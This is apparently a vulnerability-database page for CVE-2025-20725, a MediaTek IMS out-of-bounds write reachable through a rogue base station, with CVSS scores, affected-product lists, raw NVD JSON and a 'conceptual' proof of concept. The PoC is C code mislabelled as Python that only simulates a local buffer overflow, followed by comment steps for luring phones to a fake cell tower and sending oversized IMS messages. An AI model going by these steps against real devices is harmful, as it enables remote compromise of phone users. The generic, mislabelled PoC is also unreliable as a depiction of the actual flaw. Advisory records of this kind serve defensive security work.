Security Vulnerability Report
中文
CVE-2025-20725 CVSS 7.5 HIGH

CVE-2025-20725

Published: 2025-11-04 07:15:32
Last Modified: 2025-11-05 17:16:11

Description

In ims service, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01671924; Issue ID: MSV-4620.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:lr12a:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6739:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6761:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6762:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek IMS Service < MOLY01671924补丁版本
使用MediaTek芯片的Android设备(受影响固件版本)
启用IMS服务的MediaTek LTE/5G调制解调器固件

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-20725 PoC - MediaTek IMS Service Out of Bounds Write * Author: Security Researcher * Note: This is a conceptual PoC for educational purposes only * Attack Vector: Rogue Base Station / Malicious IMS Message */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // IMS Message Structure typedef struct { uint16_t message_type; uint16_t length; uint8_t *payload; } ims_message_t; // Malicious payload generator for triggering OOB write uint8_t* generate_malicious_payload(size_t *payload_size) { // Craft payload that exceeds buffer boundaries size_t size = 512; // Exceeds expected buffer size uint8_t *payload = malloc(size); if (payload == NULL) return NULL; // Fill with NOP sled + shellcode pattern memset(payload, 0x90, size/2); // Overwrite adjacent memory regions uint32_t *overwrite_ptr = (uint32_t*)(payload + size/2); *overwrite_ptr = 0xFFFFFFFF; // Trigger privilege escalation *payload_size = size; return payload; } // Simulate vulnerable IMS processing int process_ims_message(ims_message_t *msg) { uint8_t buffer[256]; // Fixed size buffer // VULNERABILITY: Missing bounds check // Should check: if (msg->length > sizeof(buffer)) memcpy(buffer, msg->payload, msg->length); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-20725 PoC - MediaTek IMS Service\n"); printf("Target: MediaTek IMS with missing bounds check\n\n"); // Generate malicious IMS message ims_message_t msg; msg.message_type = 0x0001; size_t payload_size; uint8_t *malicious_payload = generate_malicious_payload(&payload_size); if (malicious_payload) { msg.payload = malicious_payload; msg.length = payload_size; printf("[*] Sending malicious IMS message...\n"); printf("[*] Payload size: %zu bytes (exceeds 256 byte buffer)\n", payload_size); // Trigger vulnerability process_ims_message(&msg); printf("[+] OOB write triggered - potential privilege escalation\n"); free(malicious_payload); } return 0; } // Exploitation steps: // 1. Set up rogue base station (e.g., using OpenBTS or SDR) // 2. Broadcast fake cell tower signal to attract victims // 3. Send crafted IMS messages with oversized payloads // 4. Trigger buffer overflow in IMS service // 5. Achieve remote code execution / privilege escalation

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20725", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:32.113", "lastModified": "2025-11-05T17:16:11.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In ims service, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01671924; Issue ID: MSV-4620."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:lr12a:-:*:*:*:*:*:*:*", "matchCriteriaId": "A4B6AFD8-6CBA-4A1D-B38F-A9ABFEB6EFC5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr16:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B763B71-F913-45B4-B91E-D7F0670C4315"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6739:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FA8A390-9F52-4CF3-9B45-936CE3E2B828"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6761:-:*:*:*:*:*:*:*", "matchCriteriaId": "F726F486-A86F-4215-AD93-7A07A071844A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6762:-:*:*:*:*:*:*:*", "matchCriteriaId": "C445EB80-6021-4E26-B74E-1B4B6910CE48"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6762d:-:*:*:*:*:*:*:*", "matchCriteriaId": "160C2DDD-6CA5-4E4F-B885-C8AAA7D1D942"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6762m:-:*:*:*:*:*:*:*", "matchCriteriaId": "0002C537-4268-43CA-B349-BC14F1F0313C"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6763:-:*:*:*:*:*:*:*", "matchCriteriaId": "2F19C76A-50DF-4ACA-BACA-07157B4D838B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:*", "matchCriteriaId": "43E779F6-F0A0-4153-9A1D-B715C3A2F80E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765t:-:*:*:*:*:*:*:*", "matchCriteriaId": "AE80B083-D5A3-418C-9655-C79C9DECB4C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6767:-:*:*:*:*:*:*:*", "matchCriteriaId": "3367BA13-9C4D-4CCF-8E71-397F33CFF773"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:*", "matchCriteriaId": "06CD97E1-8A76-48B4-9780-9698EF5A960F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769:-:*:*:*:*:*:*:*", "matchCriteriaId": "D23991D5-1893-49F4-8A06-D5E66C96C3B3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769k:-:*:*:*:*:*:*:*", "matchCriteriaId": "2B0EFB31-7B79-4529-A978-FA227D77F9F4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769s:-:*:*:*:*:*:*:*", "matchCriteriaId": "2DD67454-1786-4BC7-B97E-96898F5FE3AF"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769t:-:*:*:*:*:*:*:*", "matchCriteriaId": "B43D63CF-FF77-41D8-BA4B-F8BDF88830BA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6769z:-:*:*:*:*:*:*:*", "matchCriteriaId": "BA1BE913-70AE-49FE-99E9-E996165DF79D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6771:-:*:*:*:*:*:*:*", "matchCriteriaId": "BE4D2AED-C713-407F-A34A-52C3D8F65835"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA324073 ... (truncated)